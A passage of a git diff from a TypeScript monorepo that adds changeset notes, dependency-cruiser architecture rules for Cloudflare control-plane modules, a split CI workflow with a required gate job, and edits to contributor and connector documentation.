+- **BEHAVIOR CHANGE:** `auditFleetDrift()` no longer reports `incomplete-provisioning` for a terminal `decommissioned` record. The phase is retained state rather than a phase that advances, so the staleness check misclassified intended retained state as incomplete provisioning.
diff --git a/.changeset/wfp-catalog-signed-maintenance.md b/.changeset/wfp-catalog-signed-maintenance.md
new file mode 100644
index 00000000..9ca4f4a7
--- /dev/null
+++ b/.changeset/wfp-catalog-signed-maintenance.md
@@ -0,0 +1,14 @@
+---
+'@proofoftech/fleet-control': patch
+'@proofoftech/flowsafe': patch
+---
+
+Support signed maintenance for platform-authored Workers for Platforms catalogs. Catalog signing profiles can supply the maintenance keys without external-state artifacts. Catalog uploads receive their public verifier and local identity; FlowSafe relays capabilities while retaining the local receipt secret and validates the catalog script and digest before maintenance work.
+
+Existing catalog artifacts need a rebuilt FlowSafe runtime and explicit maintenance enrollment. The host configures the matching global dispatcher verifier.
+
+Persist catalog ownership explicitly in Fleet records and preserve it through native D1 migration and export-backed teardown. Catalog cleanup checks its own script and namespace authority. Force re-entry on completed or reserved records uses claim-releasing deletion when the store supports it.
+
+Preserve the prior mutable Worker schema identity while D1 advances and retain migration authority through compatibility teardown retries. Permit declared catalog binding changes with exact owner and uploaded-target checks.
+
+Allow ordinary spec-free force recovery after a candidate upload by clearing migration-only scalar fields when teardown begins, while preserving the recorded resource identity.
diff --git a/.changeset/worker-native-inventory-hostnames.md b/.changeset/worker-native-inventory-hostnames.md
new file mode 100644
index 00000000..c906ea7d
--- /dev/null
+++ b/.changeset/worker-native-inventory-hostnames.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Use the platform URL hostname parser for inventory finding validation so the ordinary Worker control plane does not require node:url. Preserve international hostname validation, rejected-input behavior and original diagnostic text.
+
+Use crypto.randomBytes results directly for R2 reservation nonces and deployment-secret encoding, preserving their byte lengths and base64url representation.
diff --git a/.changeset/wrangler-export-stream-closure.md b/.changeset/wrangler-export-stream-closure.md
new file mode 100644
index 00000000..f74b5874
--- /dev/null
+++ b/.changeset/wrangler-export-stream-closure.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Close staged Wrangler export streams before removing scratch files when a supplied store finishes or fails.
diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs
index 55937659..2fd00d3d 100644
--- a/.dependency-cruiser.cjs
+++ b/.dependency-cruiser.cjs
@@ -1,24 +1,55 @@
+const { builtinModules } = require('node:module');
+
+const CLOUDFLARE_CONTROL_PLANE_ENTRY =
+  '^packages/fleet-control/src/cloudflare-control-plane\\.ts$';
+const CLOUDFLARE_FORBIDDEN_CORE = `^(?:node:(?!(?:crypto|async_hooks)$).+|${[
+  ...new Set(builtinModules.map((name) => name.replace(/^node:/, ''))),
+]
+  .filter((name) => name !== 'crypto' && name !== 'async_hooks')
+  .map((name) => name.replace(/[.*+?^$(){}|[\]\\]/g, '\\$&'))
+  .join('|')})$`;
+
 const FLOWSAFE_PUBLIC_ENTRY =
   '^packages/flowsafe/src/(?:index|host-kit/index|agent-runner/index|signals/client)\\.ts$';
-// `principal-identity` is the import-free half of `principal` (the kind list
-// and the two identity predicates). It is admitted here for the same reason the
-// others are, and is strictly leafier than any of them: it imports nothing at
-// all, so it cannot widen what do-runner reaches through approval-api.
 const ALLOWED_APPROVAL_API_LEAVES =
   '^packages/flowsafe/src/approval-api/(?:principal-identity|principal|contract|types)\\.ts$';
-// NOT extended with `principal-identity`: this is the exception list for the
-// one tolerated import cycle, and a module with no imports can never be in one.
 const KNOWN_APPROVAL_API_CYCLE =
   '^packages/flowsafe/src/approval-api/(?:principal|contract|types)\\.ts$';
 
 /** @type {import('dependency-cruiser').IConfiguration} */
 module.exports = {
   forbidden: [
+    {
+      name: 'fleet-control-worker-entry-avoids-node-host-adapters',
+      severity: 'error',
+      from: {
+        path: [
+          CLOUDFLARE_CONTROL_PLANE_ENTRY,
+          '^scripts/architecture-fixtures/control-plane-imports-node-host\\.ts$',
+        ],
+      },
+      to: {
+        path: '^packages/fleet-control/src/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\\.ts$',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-worker-entry-limits-core-imports',
+      severity: 'error',
+      from: {
+        path: [
+          CLOUDFLARE_CONTROL_PLANE_ENTRY,
+          '^scripts/architecture-fixtures/control-plane-imports-forbidden-core\\.ts$',
+        ],
+      },
+      to: {
+        path: CLOUDFLARE_FORBIDDEN_CORE,
+        reachable: true,
+      },
+    },
     {
       name: 'flowsafe-public-entry-no-agent-host',
       severity: 'error',
-      comment:
-        'Public, host-kit, runner, and signals-client entrypoints must stay independent of the optional agent host.',
       from: {
         path: [
           FLOWSAFE_PUBLIC_ENTRY,
@@ -33,8 +64,6 @@ module.exports = {
     {
       name: 'flowsafe-public-entry-no-breakwater',
       severity: 'error',
-      comment:
-        'The same entrypoints must not transitively acquire the optional Breakwater peer.',
       from: {
         path: [
           FLOWSAFE_PUBLIC_ENTRY,
@@ -49,8 +78,6 @@ module.exports = {
     {
       name: 'do-runner-approval-api-leaves-only',
       severity: 'error',
-      comment:
-        'do-runner may reach approval-api only through principal.ts, its import-free principal-identity.ts half, contract.ts, and their type-only types.ts leaf.',
       from: {
         path: [
           '^packages/flowsafe/src/do-runner/index\\.ts$',
@@ -66,8 +93,7 @@ module.exports = {
     {
       name: 'host-kit-no-durable-agent',
       severity: 'error',
-      comment:
-        'The host-kit barrel uses the pure approval-shapes leaf and must not pull Mastra durable Agent Node built-ins.',
+      comment: 'Mastra durable Agent dependencies require Node built-ins.',
       from: {
         path: [
           '^packages/flowsafe/src/host-kit/index\\.ts$',
@@ -82,8 +108,7 @@ module.exports = {
     {
       name: 'host-kit-no-breakwater',
       severity: 'error',
-      comment:
-        'Breakwater belongs to the separate host-kit/module authoring subpath, not the route-hosting barrel.',
+      comment: 'Breakwater belongs to the separate module-authoring subpath.',
       from: {
         path: [
           '^packages/flowsafe/src/host-kit/index\\.ts$',
@@ -111,8 +136,6 @@ module.exports = {
     {
       name: 'agent-starter-no-private-bare-entrypoints',
       severity: 'error',
-      comment:
-        'Starter code imports documented package exports, never src/dist entrypoints or repository-root source paths.',
       from: {
         path: [
           '^packages/agent-starter/(?:src|test|scripts)/',
@@ -126,8 +149,6 @@ module.exports = {
     {
       name: 'agent-starter-no-relative-package-reaches',
       severity: 'error',
-      comment:
-        'Starter code must not bypass package exports with a relative edge into a sibling package.',
       from: {
         path: [
           '^packages/agent-starter/(?:src|test|scripts)/',
@@ -143,7 +164,7 @@ module.exports = {
       name: 'fleet-control-is-control-plane-only',
       severity: 'error',
       comment:
-        'Fleet control holds account credentials, routing ownership, and tenant lifecycle. Publishing it removed the registry barrier, so no other package may reach it, by bare name or by any subpath. Stated as everything-except rather than an allowlist of today packages, and architecture:check:rules cruises packages as ONE root, so a new package or source directory is covered the day it lands. Showcase and the flowsafe deploy template alias imports through bundler config this file does not resolve, so coverage is per-module direct-import rather than transitive.',
+        'Fleet control holds account credentials, routing ownership, and tenant lifecycle authority. Showcase and the Flowsafe deploy template use bundler aliases that this resolver cannot follow.',
       from: {
         path: [
           '^packages/',
@@ -159,16 +180,272 @@ module.exports = {
     {
       name: 'no-new-architecture-cycles',
       severity: 'error',
-      comment:
-        'The principal-contract-types type cycle is the sole existing exception; any cycle involving another module fails.',
       from: {
-        path: '^(?:packages/flowsafe/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/',
+        path: '^(?:packages/flowsafe/src|packages/fleet-control/src|packages/breakwater/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/',
       },
       to: {
         circular: true,
         via: { pathNot: KNOWN_APPROVAL_API_CYCLE },
       },
     },
+    {
+      name: 'fleet-control-client-layers-are-one-way',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/',
+          '^scripts/architecture-fixtures/fleet-control-leaf-imports-client\\.ts$',
+        ],
+        pathNot:
+          '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-client|cloudflare-control-plane|index)\\.ts$',
+      },
+      to: {
+        path: '^packages/fleet-control/src/cloudflare-client\\.ts$',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-decommission-state-does-not-reach-provider',
+      severity: 'error',
+      comment:
+        'Persisted state codecs must not acquire credentials or transport dependencies.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:strict-plain-data|cloudflare-worker-attachment-scan-state|decommission-intent|decommission-advance|state-store)\\.ts$',
+          '^scripts/architecture-fixtures/decommission-state-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-cleanup-state-does-not-reach-provider',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/cleanup-intent\\.ts$',
+          '^scripts/architecture-fixtures/cleanup-state-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-inventory-state-does-not-reach-provider',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:fleet-inventory-state|d1-fleet-inventory-run-store)\\.ts$',
+          '^scripts/architecture-fixtures/inventory-state-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-operation-state-does-not-reach-provider',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:fleet-operation-state|fleet-audit-state|fleet-migration-state|d1-fleet-operation-store)\\.ts$',
+          '^scripts/architecture-fixtures/operation-state-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-decommission-advance-is-transport-neutral',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/decommission-advance\\.ts$',
+          '^scripts/architecture-fixtures/decommission-advance-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-inventory-advance-is-transport-neutral',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/fleet-inventory-advance\\.ts$',
+          '^scripts/architecture-fixtures/inventory-advance-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-operation-advance-avoids-concrete-transports',
+      severity: 'error',
+      comment:
+        'The reachable graph includes SDK types used by provider-neutral ports. Runtime SDK imports need a separate direct-edge rule because reachable restrictions cannot exempt erased edges.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$',
+          '^scripts/architecture-fixtures/operation-advance-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|cloudflare-api-plain-worker-backend|wrangler-plain-worker-provisioning-api|cloudflare-api-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|index)\\.ts$|^packages/fleet-control/src/workers/)',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-runtime-sdk-stays-in-provider-modules',
+      severity: 'error',
+      comment:
+        'A direct-edge restriction can exempt erased SDK types without allowing runtime SDK values through the type-inclusive reachable graph.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/',
+          '^scripts/architecture-fixtures/runtime-sdk-import\\.ts$',
+        ],
+        pathNot:
+          '^packages/fleet-control/src/(?:cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$',
+      },
+      to: {
+        path: '(?:^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        dependencyTypesNot: ['type-only', 'type-import'],
+      },
+    },
+    {
+      name: 'fleet-control-cleanup-advance-is-transport-neutral',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/cleanup-advance\\.ts$',
+          '^scripts/architecture-fixtures/cleanup-advance-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-decommission-database-is-provider-neutral',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/decommission-database\\.ts$',
+          '^scripts/architecture-fixtures/decommission-database-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '.*',
+        pathNot:
+          '^packages/fleet-control/src/(?:database-export-store|strict-plain-data)\\.ts$',
+        dependencyTypesNot: ['type-only', 'type-import'],
+      },
+    },
+    {
+      name: 'fleet-control-backend-switch-does-not-reach-its-provider',
+      severity: 'error',
+      comment:
+        'The concrete provider implements the coordinator ports; reverse reach couples coordination to its transport.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/backend-switch\\.ts$',
+          '^scripts/architecture-fixtures/decommission-database-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '^packages/fleet-control/src/workers-for-platforms-backend-switch-provider\\.ts$',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-strict-plain-data-is-import-free',
+      severity: 'error',
+      comment:
+        'Validation must not execute package code before rejecting hostile input.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/strict-plain-data\\.ts$',
+          '^scripts/architecture-fixtures/decommission-state-imports-provider\\.ts$',
+        ],
+      },
+      to: {
+        path: '.*',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-ports-do-not-reach-d1-adapter',
+      severity: 'error',
+      comment:
+        'Binding adapters depend on the ports; store implementations accept injected databases.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:state-store|migration-ledger|d1-fleet-inventory-run-store|d1-fleet-operation-store)\\.ts$',
+          '^scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter\\.ts$',
+        ],
+      },
+      to: {
+        path: '^packages/fleet-control/src/d1-fleet-state-database\\.ts$',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-worker-reachable-modules-avoid-node-builtins',
+      severity: 'error',
+      comment:
+        'Node built-ins require nodejs_compat. A harness with that flag can mask an incompatible import for consumers without it.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/(?:d1-fleet-state-database|database-export-store|export-file-name|r2-export-store)\\.ts$',
+          '^packages/fleet-control/src/workers/',
+          '^scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin\\.ts$',
+        ],
+      },
+      to: { dependencyTypes: ['core'] },
+    },
+    {
+      name: 'fleet-control-client-does-not-reach-its-consumers',
+      severity: 'error',
+      from: {
+        path: [
+          '^packages/fleet-control/src/cloudflare-client\\.ts$',
+          '^scripts/architecture-fixtures/fleet-control-client-imports-consumer\\.ts$',
+        ],
+      },
+      to: {
+        path: '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-control-plane|index)\\.ts$',
+        reachable: true,
+      },
+    },
+    {
+      name: 'fleet-control-export-port-does-not-reach-adapters',
+      severity: 'error',
+      comment:
+        'Adapters implement the port; reverse reach introduces a dependency cycle, including through type imports.',
+      from: {
+        path: [
+          '^packages/fleet-control/src/database-export-store\\.ts$',
+          '^scripts/architecture-fixtures/fleet-control-export-port-imports-adapter\\.ts$',
+        ],
+      },
+      to: {
+        path: '^packages/fleet-control/src/(?:export-store|r2-export-store)\\.ts$',
+        reachable: true,
+      },
+    },
   ],
   required: [
     {
@@ -190,8 +467,6 @@ module.exports = {
     {
       name: 'host-kit-reaches-approval-shapes',
       severity: 'error',
-      comment:
-        'The barrel must continue reaching the pure approval-shapes leaf instead of the durable agent barrel.',
       module: {
         path: [
           '^packages/flowsafe/src/host-kit/index\\.ts$',
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 92c9335c..cf8335cd 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -6,16 +6,24 @@ on:
   pull_request:
     branches: [main, dev]
 
-# Both jobs only read the repo — and the compat job deliberately executes
+# A new run cancels the in-flight one for the same ref and event. The event
+# name is part of the key, so the push run and the pull_request run for one
+# commit sit in different groups and neither cancels the run the required
+# check reads.
+concurrency:
+  group: ci-${{ github.event_name }}-${{ github.ref }}
+  cancel-in-progress: true
+
+# These jobs only read the repo — and the compat job deliberately executes
 # packages younger than the workspace release-age buffer, so the token it
 # can reach must stay read-only.
 permissions:
   contents: read
 
 jobs:
-  verify:
+  verify-core:
     runs-on: ubuntu-latest
-    timeout-minutes: 20
+    timeout-minutes: 45
     steps:
       - uses: actions/checkout@v4
 
@@ -46,9 +54,16 @@ jobs:
       - name: Typecheck
         run: pnpm typecheck
 
-      # Root vitest workspace: every package's suite in one process.
+      # Root vitest workspace: every package's suite in one process, minus the
+      # direct scenario project, which the `direct-scenario` job below runs at
+      # the same time. The Typecheck step above produces the fleet-control dist
+      # this step consumes: fleet-control's `pretypecheck` runs its `prebuild`
+      # and `build`.
+      # The cap is about 1.8x the slowest measured run of this step (968 s), so
+      # it clears a slow run and still trips inside the job cap above.
       - name: Test
-        run: pnpm test
+        timeout-minutes: 30
+        run: pnpm test:without-direct-scenario
 
       - name: Build
         run: pnpm build
@@ -77,7 +92,7 @@ jobs:
       - name: Verify packed breakwater surface
         run: pnpm test:packed-breakwater
 
-      # Three of fleet-control's four export entries are Workers entry points
+      # fleet-control's `./workers/*` export entries are Workers entry points
       # that no in-repo consumer reaches through the package boundary, so Build
       # proves nothing about its export map. Pack and consume the tarball, and
       # assert the trusted-configuration constructor still fails closed in the
@@ -140,6 +155,58 @@ jobs:
       - name: Conformance artifacts verify (workerd)
         run: pnpm conformance:verify
 
+  # The direct credentialed scenario and the offline fence suite: full
+  # scenario runs against the reference and tenant Workers on local workerd,
+  # about 35 minutes, independent of every `verify-core` step. The suites
+  # import @proofoftech/flowsafe subpaths and the fleet-control package from
+  # their dists, so the job builds fleet-control (whose prebuild builds
+  # breakwater and flowsafe) before running them.
+  direct-scenario:
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    steps:
+      - uses: actions/checkout@v4
+
+      # Reads the pnpm version from package.json "packageManager".
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
+
+      - uses: actions/setup-node@v4
+        with:
+          node-version: 22
+          cache: pnpm
+
+      - name: Install (frozen lockfile)
+        run: pnpm install --frozen-lockfile
+
+      - name: Build fleet-control and its prerequisites
+        run: pnpm --filter @proofoftech/fleet-control build
+
+      - name: Direct scenario suites (workerd)
+        run: pnpm test:direct-scenario
+
+  # The `protect main` ruleset requires the status check named `verify`. This
+  # job is that check: it depends on the gating jobs and fails unless `needs`
+  # carries at least one entry and every entry reports success, so a red or
+  # cancelled `direct-scenario` blocks a merge to main exactly as a red
+  # `verify-core` does, a job added to `needs` is gating without a further edit
+  # (the assertion reads the whole `needs` context), and an emptied `needs`
+  # list fails the check instead of passing it with nothing verified.
+  # `if: always()` makes the job run when a dependency fails or is cancelled;
+  # without it the job would be skipped, and GitHub reports a skipped job as
+  # success for a required check.
+  verify:
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    needs: [verify-core, direct-scenario]
+    if: always()
+    steps:
+      - name: Require every job this gate depends on to have succeeded
+        env:
+          NEEDS: ${{ toJSON(needs) }}
+        run: |
+          printf '%s' "$NEEDS" | jq -r 'to_entries[] | "\(.key): \(.value.result)"'
+          printf '%s' "$NEEDS" | jq -e 'to_entries | length > 0 and all(.value.result == "success")' > /dev/null
+
   # Mastra compat matrix: the libraries pin behavioral contracts to
   # @mastra/core internals (resume-context merge-over semantics, snapshot
   # shape, the reprocess-part key, the six-table inventory). The supported
@@ -180,6 +247,18 @@ jobs:
       # @mastra/* exclude does not cover and which would wedge the probe on
       # ERR_PNPM_NO_MATURE_MATCHING_VERSION. Scoped to this one resolution;
       # every real install keeps the workspace gate.
+      # The workspace pins packages/flowsafe/patches/@mastra__core@1.53.0.patch
+      # to @mastra/core@1.53.0 through pnpm.patchedDependencies, and pnpm
+      # refuses an install whose patch targets a version no longer in the
+      # graph. This job drops that entry in its disposable checkout and
+      # resolves the newest core unpatched. What the run then reports is two
+      # things: both packages' surface inventories classify the newest core's
+      # members, so a red one names the member nobody has read yet; and
+      # notification-source-keys.test.ts reports whether that core still needs
+      # the pinned patch — its probe cases fail and its patched-behavior blocks
+      # skip while the seam is open upstream, and both go green on a core that
+      # carries the fixes. See the maintainer guide's Mastra compatibility
+      # section.
       - name: Bump @mastra/core to newest 1.x
         id: mastra_versions
         run: |
@@ -187,6 +266,7 @@ jobs:
           D1_VERSION=$(npm view '@mastra/cloudflare-d1@^1' version --json | node -e 'const d=JSON.parse(require("fs").readFileSync(0,"utf8"));console.log(Array.isArray(d)?d.at(-1):d)')
           echo "core=$CORE_VERSION" >> "$GITHUB_OUTPUT"
           echo "d1=$D1_VERSION" >> "$GITHUB_OUTPUT"
+          node -e 'const fs=require("node:fs");const m=JSON.parse(fs.readFileSync("package.json","utf8"));delete m.pnpm.patchedDependencies;fs.writeFileSync("package.json",`${JSON.stringify(m,null,2)}\n`)'
           pnpm -r update --config.minimum-release-age=0 "@mastra/core@$CORE_VERSION" "@mastra/cloudflare-d1@$D1_VERSION"
           pnpm --filter @proofoftech/breakwater list @mastra/core
           pnpm --filter @proofoftech/flowsafe list @mastra/core @mastra/cloudflare-d1
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 30859b9f..8705a22f 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -67,10 +67,11 @@ jobs:
         run: pnpm build
 
       # ci.yml runs this too, but ci.yml and this workflow start CONCURRENTLY on
-      # a push to main and main requires no status check, so a red CI cannot
-      # stop a publish. Repeating it here fails in this job, before the publish
-      # step, on this checkout. It is fully offline and adds no new dependency, but
-      # it runs each prerequisite's prepack build, so it is not free.
+      # a push to main, and `verify` is the required check on a pull request
+      # into main, not on a push to it, so a red CI cannot stop a publish.
+      # Repeating it here fails in this job, before the publish step, on this
+      # checkout. It is fully offline and adds no new dependency, but it runs
+      # each prerequisite's prepack build, so it is not free.
       - name: Verify release publish invocation
         run: pnpm test:release-invocation
 
diff --git a/.gitignore b/.gitignore
index 6d7da5f2..295f9dfe 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,3 @@
-# Negative (whitelist) model: ignore everything at the repo root by default;
-# only the paths explicitly un-ignored below are trackable, so internal or
-# scratch files dropped at the root can never be committed by accident.
 /*
 
 # --- Tracked top-level directories (their contents track normally) ---
@@ -43,6 +40,7 @@ dist/
 # Generated API reference (pnpm docs:api) — on-demand, never committed
 /docs/api/
 .wrangler/
+.direct-conformance/
 __pycache__/
 *.db
 *.db-wal
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index b577bdff..4128e81d 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -35,7 +35,9 @@ git clone https://github.com/ProofOfTechOrg/anchorage.git
 cd anchorage
 ```
 
-The verification list below mirrors the CI `verify` job in order:
+The verification list below mirrors the CI `verify-core` job in order;
+`pnpm test` also covers the direct scenario project that CI runs in its own
+`direct-scenario` job:
 
 ```bash
 pnpm install --frozen-lockfile
@@ -69,6 +71,8 @@ directory when a `.github/**/*.{yml,yaml}` file is staged (lint-staged);
 pre-push runs react-doctor on the branch's changed files
 (`pnpm react-doctor:diff`; bypass with `git push --no-verify`). CI also runs a
 non-blocking compatibility probe against the newest `@mastra/core` 1.x release.
+The `verify` gate job requires every job in its `needs` list to succeed,
+`verify-core` and `direct-scenario` among them.
 
 The showcase app uses mandatory absolute imports — `@/*` for `src`,
 `#worker/*` for worker modules, `@flowsafe/*` for deep flowsafe source
@@ -91,7 +95,8 @@ repository maintenance and docs-only changes do not need one.
 
 ## Releasing
 
-Versioning and publishing run through [changesets](.changeset/README.md), with
+Versioning and publishing run through
+[Changesets](https://github.com/changesets/changesets), with
 version bumps happening ON `dev` (bump-on-dev). Feature and fix PRs target the
 `dev` integration branch and include a changeset (`pnpm exec changeset` — pick
 the packages, a semver bump, and write the CHANGELOG entry) when they change
@@ -129,3 +134,14 @@ tier.
 Anchorage is an independent implementation built ON Mastra. Contributions must
 not fork or modify Mastra source code, wrap Mastra Enterprise features to
 bypass their licensing, or copy any third-party proprietary implementation.
+
+The single permitted exception is
+`packages/flowsafe/patches/@mastra__core@1.53.0.patch`, which changes the
+published `@mastra/core@1.53.0` runtime chunks so that `summarizeNotifications`
+counts sources in a null-prototype object and the delivery policy's `sources`
+lookup reads own properties only (mastra-ai/mastra#23693, #23694). It is applied
+through pnpm `patchedDependencies` and leaves the shipped source maps untouched.
+It is removed when a `@mastra/core` release carrying the upstream fix is
+adopted, following the procedure in the
+[maintainer guide's Mastra compatibility section](docs/maintainer-guide.md#mastra-compatibility).
+No other Mastra modification is permitted.
diff --git a/docs/agent-cli-connectors.md b/docs/agent-cli-connectors.md
index 2bb84a4d..c1ad0d69 100644
--- a/docs/agent-cli-connectors.md
+++ b/docs/agent-cli-connectors.md
@@ -181,6 +181,10 @@ Codes distinguish unavailable runtime or codec, definition/flag failure, spawn f
 
 The one-argument `new AgentCliError(message)` constructor remains compatible for consumers that created their own error, but errors emitted by shipped connectors use the structured metadata.
 
+Connector refusals retain the [connector decision taxonomy](connector-interface.md#connector-decision-codes). `ConnectorPolicyError` preserves its code, canonical category, retryability and safe details while its reason becomes the fixed CLI denial message. `ConnectorStoreError` and `ConnectorEvaluatorError` retain their typed classification without raw `cause`, so executor, prompt and process data cannot escape through those exceptions. This differs from the base connector store boundary, where the original exception remains on `cause`.
+
+`invokeConnector` emits typed invocation and validation errors at its own public boundary. CLI-specific process failures continue to use `AgentCliError`; unknown executor/parser errors remain redacted.
+
 ## Timeouts and output limits
 
 `timeoutMs` defaults to 10 minutes and must be a safe integer from 1 through the JavaScript timer ceiling. On POSIX, the built-in runner starts the CLI as a new process-group and session leader, sends `SIGKILL` to the negative group id, and waits up to five seconds for that group to disappear. On Windows, it resolves `taskkill.exe` under a drive-absolute local `SystemRoot` or `WINDIR` before starting the CLI, then invokes that absolute path with `['/pid', pid, '/T', '/F']`, `shell: false`, and a hidden window. It rejects relative, root-relative, Universal Naming Convention (UNC), and device paths. This prevents a writable current directory, network share, device path, or `PATH` entry from replacing the timeout helper. It waits for taskkill to complete before returning the timeout.
diff --git a/docs/api-reference.md b/docs/api-reference.md
index 200bdc63..d5e853b8 100644
--- a/docs/api-reference.md
+++ b/docs/api-reference.md
@@ -44,10 +44,12 @@ New host-side and React features remain subpath-only so importing the root does
 | `@proofoftech/flowsafe/artifacts` | R2 artifact store and in-memory bucket |
 | `@proofoftech/flowsafe/audit-export` | Queue producer sink and NDJSON SIEM consumer |
